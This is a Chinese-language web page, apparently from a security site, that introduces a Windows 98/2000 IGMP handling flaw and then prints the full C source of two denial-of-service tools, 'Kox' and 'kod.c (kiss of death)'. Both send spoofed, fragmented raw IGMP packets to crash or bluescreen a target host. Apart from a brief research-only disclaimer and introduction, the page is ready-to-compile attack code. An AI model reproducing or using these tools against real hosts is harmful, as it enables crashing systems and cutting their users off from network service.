| 特别警告:本文所提到的源代码可能带有攻击性,仅供安全研究之用。任何人利用此代码进行的攻击行为纯属其个人行为,与本网站无关。     IGMP是一个尚处于实验阶段的协议,提供Internet网际多点传送的功能,即将一个IP包的拷贝传给多个host。 Windows98和windows2000都采用了这个不太成熟的协议,在这两个平台内,这个多点传送的协议的应用容易引起Tcp/IP堆栈的阻塞,从而引发了一个目前没有补丁的新攻击:     这里有两段C程序,对Windows98和windows2000都是严厉的攻击,可能需要来两次或者更多,但只要一受到攻击你的机器就会蓝屏,当机甚至立即重新启动。 /***  #include <stdio.h>#include <unistd.h>
 #include <stdlib.h>
 #include <netdb.h>
 #include <string.h>
 #include <errno.h>
 #include <pwd.h>
 #include <time.h>
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <sys/utsname.h>
 #include <netinet/in.h>
 #include <netinet/ip.h>
 #include <netinet/ip_icmp.h>
 #include <netinet/igmp.h>
 void usage(char *arg)
 {
 printf("Kox by Coolio (coolio@k-r4d.com) ");
 printf("Usage: %s <victim> ", arg);
 exit(1);
 }
 unsigned int randip(){
 struct hostent *he;
 struct sockaddr_in sin;
 char *buf = (char *)calloc(1, sizeof(char) * 16);
 sprintf(buf, "%d.%d.%d.%d",(random()%191)+23,
 (random()%253)+1,
 (random()%253)+1,
 (random()%253)+1);
 inet_aton(buf, (struct in_addr *)&sin);return sin.sin_addr.s_addr;
 }
 unsigned short in_cksum(unsigned short *buh, int len){
 register long sum = 0;
 unsigned short oddbyte;
 register unsigned short answer;
 while(len > 1) {sum += *buh++;
 len -= 2;
 }
 if(len == 1) {oddbyte = 0;
 *((unsigned char *)&oddbyte) = *(unsigned char *)buh;
 sum += oddbyte;
 }
 sum = (sum >> 16) + (sum & 0xFFFF);sum += (sum >> 16);
 answer = ~sum;
 return answer;
 }
 int nuke_igmp(struct sockaddr_in *victim, unsigned long spoof){
 int BIGIGMP = 1500;
 unsigned char *pkt;
 struct iphdr *ip;
 struct igmphdr *igmp;
 struct utsname *un;
 struct passwd *p;
 int i, s;int id = (random() % 40000) + 500;
 pkt = (unsigned char *)calloc(1, BIGIGMP);ip = (struct iphdr *)pkt;
 igmp = (struct igmphdr *)(pkt + sizeof(struct iphdr));
 ip->version = 4;ip->ihl = (sizeof *ip) / 4;
 ip->ttl = 255;
 ip->tot_len = htons(BIGIGMP);
 ip->protocol = IPPROTO_IGMP;
 ip->id = htons(id);
 ip->frag_off = htons(IP_MF);
 ip->saddr = spoof;
 ip->daddr = victim->sin_addr.s_addr;
 ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
 igmp->type = 0;igmp->group = 0;
 igmp->csum = in_cksum((unsigned short *)igmp, sizeof(struct igmphdr));
 for(i = sizeof(struct iphdr) + sizeof(struct igmphdr) + 1;i < BIGIGMP; i++)
 pkt[i] = random() % 255;
 #ifndef I_GROK
 un = (struct utsname *)(pkt + sizeof(struct iphdr) +
 sizeof(struct igmphdr) + 40);
 uname(un);
 p = (struct passwd *)((void *)un + sizeof(struct utsname) + 10);
 memcpy(p, getpwuid(getuid()), sizeof(struct passwd));
 #endif
 if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
 perror("error: socket()");
 return 1;
 }
 if(sendto(s, pkt, BIGIGMP, 0, victim,sizeof(struct sockaddr_in)) == -1) {
 perror("error: sendto()");
 return 1;
 }
 usleep(1000000);
 for(i = 1; i < 5; i++) {if(i > 3)
 ip->frag_off = htons(((BIGIGMP-20) * i) >> 3);
 else
 ip->frag_off = htons(((BIGIGMP-20) * i) >> 3 | IP_MF);
 sendto(s, pkt, BIGIGMP, 0, victim, sizeof(struct sockaddr_in));
 usleep(2000000);
 }
 free(pkt);close(s);
 return 0;
 }
 int main(int argc, char *argv[]){
 struct sockaddr_in victim;
 struct hostent *he;
 int i;
 srandom(time(NULL));  if(argc < 2)usage(argv[0]);
 if((he = gethostbyname(argv[1])) == NULL) {herror(argv[1]);
 exit(1);
 }
 memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
 victim.sin_port = htons(0);
 victim.sin_family = PF_INET;
 printf("IGMP> ");fflush(stdout);
 for(i = 0; i < 10; i++)
 {
 nuke_igmp(&victim, randip());
 printf(".");
 fflush(stdout);
 }
 printf(" ");
 fflush(stdout);
 }
 另一段程序:
 /*::: kod.c (kiss of death) version 1.2
 ::: [author] kod.c bug found by klepto /
 klepto@levitate.net / rewritten by ignitor / ignitor@EFnet
 ::: [stuph ] works on bsd/linux/*nix
 ::: [notes ] bluescreens windows users(98/98se) and kills
 tcp stack
 ::: [m$ bug] windows handles igmp badly and this is the
 result
 ::: [greets]
 amputee/nizda/nyt/ignitor/skyline/codelogic/ill`/conio/egotr
 ip/TFreak/napster
 ::: [greets] dist(test monkey)/naz(you rule period.)/#havok/
 #irc_addict/#kgb/#eof/everyone
 ::: [action] ./kod <host> and BEWM!
 ::: [rant ] there will be lots of rewrites to this.. just
 get our name right!
 de omnibus dubitandum
 */
 /*windows core dump output (*whee*)
 An exception 0E has occurred at 0028:C14C9212 in VxD VIP
 (01) +
 00006C72. This was called from 0028:C183FF54 in VcD PPPMAC
 (04) +
 000079BR. It may be possible to continue normally(*not*).
 */
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <netinet/in.h>
 #include <netdb.h>
 #include <sys/time.h>
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <arpa/inet.h>
 #include <unistd.h>
 struct iphdr{
 unsigned char ihl:4, version:4, tos;
 unsigned short tot_len, id, frag_off;
 unsigned char ttl, protocol;
 unsigned short check;
 unsigned int saddr, daddr;
 };
 struct igmphdr{
 unsigned char type, code;
 unsigned short cksum;
 struct in_addr group;
 };
 unsigned short in_chksum(unsigned short *, int);long resolve(char *);
 long resolve(char *host){
 struct hostent *hst;
 long addr;
 hst = gethostbyname(host);if (hst == NULL)
 return(-1);
 memcpy(&addr, hst->h_addr, hst->h_length);  return(addr);}
 int main(int argc, char *argv[]){
 struct sockaddr_in dst;
 struct iphdr *ip;
 struct igmphdr *igmp;
 long daddr, saddr;
 int s, i=0, c, len;
 char buf[1500];
 if (argc < 3){
 printf("KOD spoofer by Ignitor and klepto ");
 printf("Usage: %s <src> <dst> ", *argv);
 return(1);
 }
 daddr = resolve(argv[2]);saddr = resolve(argv[1]);
 memset(buf, 0, 1500);ip = (struct iphdr *)&buf;
 igmp = (struct igmphdr *)&buf[sizeof(struct iphdr)];
 dst.sin_addr.s_addr = daddr;dst.sin_family = AF_INET;
 ip->ihl = 5;ip->version = 4;
 ip->tos = 0;
 ip->tot_len = htons(10933);
 ip->id = htons(48648);
 ip->ttl = 64;
 ip->protocol = IPPROTO_IGMP;
 ip->check = in_chksum((unsigned short *)ip, sizeof(struct
 iphdr));
 ip->saddr = saddr;
 ip->daddr = daddr;
 s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);if (s == -1)
 return(1);
 printf("Sending IGMP packets: %s -> %s ", argv[1], argv[2]);
 for (c=0;c<2;c++){
 len = 220;
 ip->frag_off = htons(0x73a);
 for (i=0;;i++){
 if (sendto(s,&buf,len,0,(struct sockaddr *)&dst,sizeof
 (struct sockaddr_in)) == -1)
 {
 perror("Error sending packet");
 exit(-1);
 }
 if (ntohs(ip->frag_off) == 0x2000)
 break;
 len = 1500;
 if (!i)
 ip->frag_off = htons(0x2681);
 else
 ip->frag_off = htons(ntohs(ip->frag_off) - 185);
 ip->check = in_chksum((unsigned short *)ip, sizeof(struct iphdr));
 }
 }
 return(1);}
 unsigned short in_chksum(unsigned short *addr, int len){
 register int nleft = len;
 register int sum = 0;
 u_short answer = 0;
 while (nleft > 1) {sum += *addr++;
 nleft -= 2;
 }
 if (nleft == 1) {*(u_char *)(&answer) = *(u_char *)addr;
 sum += answer;
 }
 sum = (sum >> 16) + (sum & 0xffff);sum += (sum >> 16);
 answer = ~sum;
 return(answer);
 }
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